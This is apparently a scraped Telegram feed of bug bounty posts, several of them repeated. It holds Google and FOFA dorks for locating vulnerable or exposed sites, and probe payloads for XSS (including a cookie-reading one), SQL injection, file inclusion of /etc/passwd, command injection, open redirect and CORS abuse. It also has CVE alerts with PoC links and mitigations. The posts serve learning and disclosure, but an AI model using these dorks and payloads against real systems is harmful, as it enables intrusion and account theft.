🔗 Join Now
📢 #BugBounty #JWT #Security #Exploit #AlgorithmConfusion #HMAC #EthicalHacking #CyberSecPlayground
❤5💊3
CyberSec Playground | Learn ethical hacking ⚡️
🚀 Google Dorks for Bug Bounty & Web Security! 🔍 A powerful list of Google Dorks to uncover hidden files, API endpoints, server errors, and more for pentesting & bug bounty hunting! 🎯 🔗 Live Tool for Google Dorks 🔥 Broad Domain Search (Exclude Common Subdomains)…
🚀 🚀 Google Dorks for Bug Bounty & Web Security! Part 2 : Find Vulnerable Parameters Using Google Dorks!
Google Dorks help bug bounty hunters & pentesters quickly locate vulnerable endpoints by searching for specific query parameters used in web applications. 🔍💻
🔹 XSS Prone Parameters
Look for user input fields vulnerable to Cross-Site Scripting (XSS):
🔥 Test with payloads like:
🔹 Open Redirect Prone Parameters
Attackers can redirect users to malicious sites using these
parameters:
🚨 Test by injecting:
🔹 SQL Injection (SQLi) Prone Parameters
Websites often use these parameters for database queries, making them targets for SQL Injection:
💥 Test with:
🔹 Server-Side Request Forgery (SSRF) Prone Parameters
These parameters can allow attackers to interact with internal services:
🌍 Test by sending requests to:
🔹 Local File Inclusion (LFI) Prone Parameters
LFI can be used to read system files or execute malicious scripts:
⚠️ Test with:
🔹 Remote Code Execution (RCE) Prone Parameters
These parameters might allow command execution on the target server:
💣 Test with:
💡 Google Dorking is a powerful OSINT technique! But always use it ethically and responsibly! 🚀
🔍 Join @CyberSecPlayground for more hacking tips, bug bounty techniques, and private tools!
📢 #BugBounty #GoogleDorks #CyberSecurity #OSINT #Pentesting #CyberSecPlayground
Google Dorks help bug bounty hunters & pentesters quickly locate vulnerable endpoints by searching for specific query parameters used in web applications. 🔍💻
🔹 XSS Prone Parameters
Look for user input fields vulnerable to Cross-Site Scripting (XSS):
inurl:q= | inurl:s= | inurl:search= | inurl:query= | inurl:keyword= | inurl:lang= inurl:& site:example.com
🔥 Test with payloads like:
"><script>alert(1)</script>
🔹 Open Redirect Prone Parameters
Attackers can redirect users to malicious sites using these
parameters:
inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= inurl:& inurl:http site:example.com
🚨 Test by injecting:
?redirect=https://evil.com
🔹 SQL Injection (SQLi) Prone Parameters
Websites often use these parameters for database queries, making them targets for SQL Injection:
inurl:id= | inurl:pid= | inurl:category= | inurl:cat= | inurl:action= | inurl:sid= | inurl:dir= inurl:& site:example.com
💥 Test with:
' OR 1=1--
🔹 Server-Side Request Forgery (SSRF) Prone Parameters
These parameters can allow attackers to interact with internal services:
inurl:http | inurl:url= | inurl:path= | inurl:dest= | inurl:html= | inurl:data= | inurl:domain= | inurl:page= inurl:& site:example.com
🌍 Test by sending requests to:
?url=http://internal-server.local
🔹 Local File Inclusion (LFI) Prone Parameters
LFI can be used to read system files or execute malicious scripts:
inurl:include | inurl:dir | inurl:detail= | inurl:file= | inurl:folder= | inurl:inc= | inurl:locate= | inurl:doc= | inurl:conf= inurl:& site:example.com
⚠️ Test with:
?file=../../../../etc/passwd
🔹 Remote Code Execution (RCE) Prone Parameters
These parameters might allow command execution on the target server:
inurl:cmd | inurl:exec= | inurl:query= | inurl:code= | inurl:do= | inurl:run= | inurl:read= | inurl:ping= inurl:& site:example.com
💣 Test with:
?cmd=whoami
💡 Google Dorking is a powerful OSINT technique! But always use it ethically and responsibly! 🚀
🔍 Join @CyberSecPlayground for more hacking tips, bug bounty techniques, and private tools!
📢 #BugBounty #GoogleDorks #CyberSecurity #OSINT #Pentesting #CyberSecPlayground
🔥3💊3👍1
⚠️ CVE-2025-2825: CrushFTP Authentication Bypass ⚠️
🚨 Vulnerability: Authentication bypass in CrushFTP
📌 Risk Level: Critical
📊 Affected Instances: 234K+ results found on FOFA
🔎 Technical Analysis & PoC:
🔥 Deep Dive: ProjectDiscovery Blog
📜 PoC & Exploit: GitHub PoC
🔖 Exploit & Nuclei Template: SecurityOnline
🔗 Search Queries for Detection:
FOFA Query: app="CrushFTP"
FOFA Results: View Here
🛡 Mitigation Steps:
✅ Update to the latest secured version of CrushFTP
✅ Restrict access to admin panels
✅ Monitor for unusual login attempts
🔗 Stay ahead in cybersecurity: @cybersecplayground
#OSINT #FOFA #CyberSecurity #BugBounty #CVE #EthicalHacking
🚨 Vulnerability: Authentication bypass in CrushFTP
📌 Risk Level: Critical
📊 Affected Instances: 234K+ results found on FOFA
🔎 Technical Analysis & PoC:
🔥 Deep Dive: ProjectDiscovery Blog
📜 PoC & Exploit: GitHub PoC
🔖 Exploit & Nuclei Template: SecurityOnline
🔗 Search Queries for Detection:
FOFA Query: app="CrushFTP"
FOFA Results: View Here
🛡 Mitigation Steps:
✅ Update to the latest secured version of CrushFTP
✅ Restrict access to admin panels
✅ Monitor for unusual login attempts
🔗 Stay ahead in cybersecurity: @cybersecplayground
#OSINT #FOFA #CyberSecurity #BugBounty #CVE #EthicalHacking
🔥5💊1
🚨 0-Day XSS Vulnerability Discovered using xss0r Payload! 🚨
🔥 A critical Reflected XSS vulnerability has been uncovered across multiple domains in a Private Bug Bounty Program, leading to Account Takeover (ATO) risks!
💥 Payload:
This 0-Day XSS exploit demonstrates how improperly sanitized input can be weaponized to steal session cookies and compromise user accounts. 🚨
🔎 Why is this Important?
XSS vulnerabilities remain one of the most dangerous and common web security flaws. Attackers can use XSS to:
✅ Hijack user sessions
✅ Deface websites
✅ Inject malicious scripts
✅ Bypass security mechanisms
📢 Want more bug bounty techniques & private security tools?
Join @CyberSecPlayground for exclusive insights & daily hacking tips!
#BugBounty #XSS #Exploit #WebSecurity #CyberSec #Hacking #EthicalHacking #CyberSecPlayground 🚀
🔥 A critical Reflected XSS vulnerability has been uncovered across multiple domains in a Private Bug Bounty Program, leading to Account Takeover (ATO) risks!
💥 Payload:
orwa%27"><svg/onload=alert(document.cookie)>
This 0-Day XSS exploit demonstrates how improperly sanitized input can be weaponized to steal session cookies and compromise user accounts. 🚨
🔎 Why is this Important?
XSS vulnerabilities remain one of the most dangerous and common web security flaws. Attackers can use XSS to:
✅ Hijack user sessions
✅ Deface websites
✅ Inject malicious scripts
✅ Bypass security mechanisms
📢 Want more bug bounty techniques & private security tools?
Join @CyberSecPlayground for exclusive insights & daily hacking tips!
#BugBounty #XSS #Exploit #WebSecurity #CyberSec #Hacking #EthicalHacking #CyberSecPlayground 🚀
⚡3❤2💊1
🚨 Critical 0-Day Alert: CVE-2025-2005 (CVSS 10) – WordPress Plugin File Upload Vulnerability!
A Critical RCE vulnerability has been discovered in the Front End Users Plugin for WordPress, affecting versions ≤ 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution on the server!
⸻
⚠️ Vulnerability Details:
• Plugin: Front End Only Users
• Version Affected: ≤ 3.2.32
• Impact: Unauthenticated File Upload → Full Server Takeover
• CVSS Score: 10.0 (Critical)
⸻
🔥 Proof of Concept:
PoC available here:
github.com/Nxploited/CVE-…
⸻
FOFA Dork:
⸻
✅ Recommendation:
• Update the plugin immediately or remove it if not in use
• Monitor for suspicious uploads and unexpected PHP files
• Harden server file permissions and enable WAF rules
⸻
Stay ahead of zero-days with us!
Join @CyberSecPlayground for exclusive vulnerability alerts, private tools, and real-time bug bounty tips.
#CVE2025_2005 #WordPress #Exploit #0day #CyberSecurity #FOFA #OSINT #BugBounty #CyberSecPlayground
A Critical RCE vulnerability has been discovered in the Front End Users Plugin for WordPress, affecting versions ≤ 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution on the server!
⸻
⚠️ Vulnerability Details:
• Plugin: Front End Only Users
• Version Affected: ≤ 3.2.32
• Impact: Unauthenticated File Upload → Full Server Takeover
• CVSS Score: 10.0 (Critical)
⸻
🔥 Proof of Concept:
PoC available here:
github.com/Nxploited/CVE-…
⸻
FOFA Dork:
body="/wp-content/plugins/front-end-only-users/"
⸻
✅ Recommendation:
• Update the plugin immediately or remove it if not in use
• Monitor for suspicious uploads and unexpected PHP files
• Harden server file permissions and enable WAF rules
⸻
Stay ahead of zero-days with us!
Join @CyberSecPlayground for exclusive vulnerability alerts, private tools, and real-time bug bounty tips.
#CVE2025_2005 #WordPress #Exploit #0day #CyberSecurity #FOFA #OSINT #BugBounty #CyberSecPlayground
❤4
💡 Bug Bounty Tip: Unlock Hidden Gold in JavaScript!
Found an interesting JS file? Don’t stop there.
Always check for archived versions using tools like:
• Wayback Machine
• waybackurls
• gau (getallurls)
Why? Because older JS files might still reveal:
🔍 Legacy API Endpoints – Some still live and exploitable!
🔐 Hard-Coded Secrets – Tokens, keys, creds (yes, even now)
📥 Input Parameters – Useful for fuzzing and recon
Pro Hackers dig deeper – do you?
⸻
For more daily tips, 0-day POCs, private tools & hacker techniques:
Join @CyberSecPlayground – We drop only the good stuff.
#BugBountyTips #JavaScriptHacking #WaybackRecon #WebSecurity #CyberSecurity #HackWithIntigriti #CyberSecPlayground #EthicalHacking #RedTeam
Found an interesting JS file? Don’t stop there.
Always check for archived versions using tools like:
• Wayback Machine
• waybackurls
• gau (getallurls)
Why? Because older JS files might still reveal:
🔍 Legacy API Endpoints – Some still live and exploitable!
🔐 Hard-Coded Secrets – Tokens, keys, creds (yes, even now)
📥 Input Parameters – Useful for fuzzing and recon
Pro Hackers dig deeper – do you?
⸻
For more daily tips, 0-day POCs, private tools & hacker techniques:
Join @CyberSecPlayground – We drop only the good stuff.
#BugBountyTips #JavaScriptHacking #WaybackRecon #WebSecurity #CyberSecurity #HackWithIntigriti #CyberSecPlayground #EthicalHacking #RedTeam
❤4👍1
⚠️ CVE-2025-2945 — Remote Code Execution in pgAdmin 4 ⚠️
A critical RCE vulnerability has been discovered in pgAdmin 4, putting thousands of systems at risk!
Details:
• Type: Remote Code Execution (RCE)
• CVSS: 9.8 (Critical)
• Impact: Full system compromise, sensitive data exposure
🔥 PoC And more detail:
https://py0zz1.tistory.com
🎯 FOFA Stats:
Over 41,000 exposed results found via FOFA!
🕵️♂️ FOFA Dork:
🔗 FOFA Link:
https://en.fofa.info/result?qbase64...
✅ Mitigation:
Update pgAdmin ASAP or restrict public access!
🔥 As a result, an attacker can execute arbitrary Python code by sending a crafted POST request to the vulnerable endpoint.
—
Follow CyberSec Playground for more 0-day alerts, hacking tips & bug bounty tricks!
@cybersecplayground
#CyberSecurity #CVE2025 #pgAdmin #RCE #BugBounty #InfoSec #FOFA #CyberSecPlayground
A critical RCE vulnerability has been discovered in pgAdmin 4, putting thousands of systems at risk!
Details:
• Type: Remote Code Execution (RCE)
• CVSS: 9.8 (Critical)
• Impact: Full system compromise, sensitive data exposure
🔥 PoC And more detail:
https://py0zz1.tistory.com
🎯 FOFA Stats:
Over 41,000 exposed results found via FOFA!
🕵️♂️ FOFA Dork:
body="pg-sp-content" && title="pgAdmin 4"
🔗 FOFA Link:
https://en.fofa.info/result?qbase64...
✅ Mitigation:
Update pgAdmin ASAP or restrict public access!
🔥 As a result, an attacker can execute arbitrary Python code by sending a crafted POST request to the vulnerable endpoint.
—
Follow CyberSec Playground for more 0-day alerts, hacking tips & bug bounty tricks!
@cybersecplayground
#CyberSecurity #CVE2025 #pgAdmin #RCE #BugBounty #InfoSec #FOFA #CyberSecPlayground
🔥5
🔥 Bug Bounty Goldmine: CORS Misconfiguration Exploitation
What is CORS?
Cross-Origin Resource Sharing (CORS) is a security feature implemented by browsers to prevent unauthorized domains from making requests to your app’s backend.
But what if it’s misconfigured?
You might be able to steal user data, bypass security controls, and even hijack sessions!
⚠️ Risks of CORS Misconfigurations:
🚨 Steal sensitive user data from authenticated sessions
🚨 Hijack API requests using malicious domains
🚨 Full Account Takeover if credentials: true is enabled
🛠️ How to Test for CORS Vulnerabilities:
1️⃣ Send malicious requests with a custom Origin
Try:
2️⃣ Check server response for this header:
3️⃣ If you find:
along with a wildcard origin — that’s a BIG problem.
4️⃣ Try this in browser console:
If you get a valid response: CORS is vulnerable!
⸻
💡 Pro Tip:
Use tools like Corsy, DalFox, or Burp Suite CORS plugins for faster detection and testing.
⸻
Follow CyberSec Playground for daily bug bounty gems, exploits, PoCs, and hacking tips:
@cybersecplayground
#CyberSecurity #CORS #BugBountyTips #HackerMindset #InfoSec
What is CORS?
Cross-Origin Resource Sharing (CORS) is a security feature implemented by browsers to prevent unauthorized domains from making requests to your app’s backend.
But what if it’s misconfigured?
You might be able to steal user data, bypass security controls, and even hijack sessions!
⚠️ Risks of CORS Misconfigurations:
🚨 Steal sensitive user data from authenticated sessions
🚨 Hijack API requests using malicious domains
🚨 Full Account Takeover if credentials: true is enabled
🛠️ How to Test for CORS Vulnerabilities:
1️⃣ Send malicious requests with a custom Origin
Try:
Origin: https://evil.com
2️⃣ Check server response for this header:
Access-Control-Allow-Origin: *
3️⃣ If you find:
Access-Control-Allow-Credentials: true
along with a wildcard origin — that’s a BIG problem.
4️⃣ Try this in browser console:
fetch("https://target.com/api/user", {
credentials: "include"
});If you get a valid response: CORS is vulnerable!
⸻
💡 Pro Tip:
Use tools like Corsy, DalFox, or Burp Suite CORS plugins for faster detection and testing.
⸻
Follow CyberSec Playground for daily bug bounty gems, exploits, PoCs, and hacking tips:
@cybersecplayground
#CyberSecurity #CORS #BugBountyTips #HackerMindset #InfoSec
💊6